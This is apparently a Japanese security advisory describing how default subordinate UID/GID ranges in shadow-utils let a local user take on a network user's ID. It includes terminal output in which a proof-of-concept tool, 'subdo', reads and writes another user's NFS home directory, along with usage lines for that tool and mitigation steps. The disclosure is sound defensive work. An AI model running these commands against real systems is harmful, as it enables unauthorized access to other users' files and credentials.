
shadow-utils - ローカルユーザーに対する安全でないデフォルトのサブID割り当て
デフォルトのサブID割り当ては、既存のユーザーIDとの衝突リスクを生み出し、UID/GIDを恣意的に変更してデータやネットワークリソースへの不正アクセスを得る可能性を生じさせます。
ベースパッケージ: shadow-utils 4.4 - 4.17.0
確認済み: Debian 12、Red Hat Enterprise Linux 9、Red Hat Enterprise Linux 10。shadow-utils 4.4以降を使用しているすべての最近のディストリビューションのバージョン。
shadow-utilsは、ローカルユーザーにサブIDを委任するデフォルト設定を同梱して出荷されるようになりました。
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
shadow-utilsのツール(adduser、useradd、およびシステムインストール時)のいずれかを介して新しいローカルユーザーがシステムに追加されると、各ユーザーにはUID/GID 100000から始まる65,536個のUIDとGIDの一意のブロックが割り当てられます。例えば、次のシステムには2人のローカルユーザーが追加されています:
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
サブID設定は、指定された範囲の使用権をユーザー名前空間内のユーザーに委任するもので、最も一般的にはルートレスコンテナ化に使用されます。ただし、コンテナ化ユーティリティは名前空間に入るために必須ではなく、デフォルトのshadow-utilsツールである'newuidmap'や'newgidmap'を使用するなど、複数の方法で実行できます。これにより、ユーザーは委任された範囲内の任意のIDのPOSIXユーザーIDに恣意的に変更できます。
次の例では、ユーザーID Jon(UID/GID 1000)に、100000から始まる65,536個のUID/GID範囲が委任されています。ネットワークには、集中ユーザー管理とログイン用にLDAPを介して他のIDが設定されており、ネットワークユーザーのホームディレクトリはNFS上にあります。
UID/GID 108372 はネットワークユーザー msteph に属しています。
インストール中に作成されたデフォルトのサブUID/GID割り当てを活用することで、ローカルユーザーはネットワークユーザーのIDに切り替え、NFSホームディレクトリにアクセスして、そのユーザーとしてファイルの読み書きができます。
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
NFSを例として使用しましたが、これはNFSアクセスだけに留まりません。Kerberos資格情報がローカルシステムに保存されている可能性のあるインフラストラクチャはリスクにさらされ、資格情報がローカルシステムから取得され、他のkerberizedサービスへのアクセスが可能になる可能性があります。
/etc/login.defs のSUB_エントリを削除する必要があります。/etc/subuid および /etc/subgid 内の予期しないエントリも削除する必要があります。
目的の割り当て済みサブIDにUID/GIDを変更するPOCは、subdo.c および subdo.py として添付されています。
POCは内部IDと外部IDを同じIDにマッピングし、名前空間内でそのIDにsetuid()およびsetgid()します。つまり、名前空間内のシェルで実行されるすべてのコマンドは、ホスト上でそのuid/gidとして実行されます。
任意のコマンドと引数を目的のサブUID/GIDとして実行できます。
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
目的のサブUID/GIDとして /bin/bash を実行します。
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$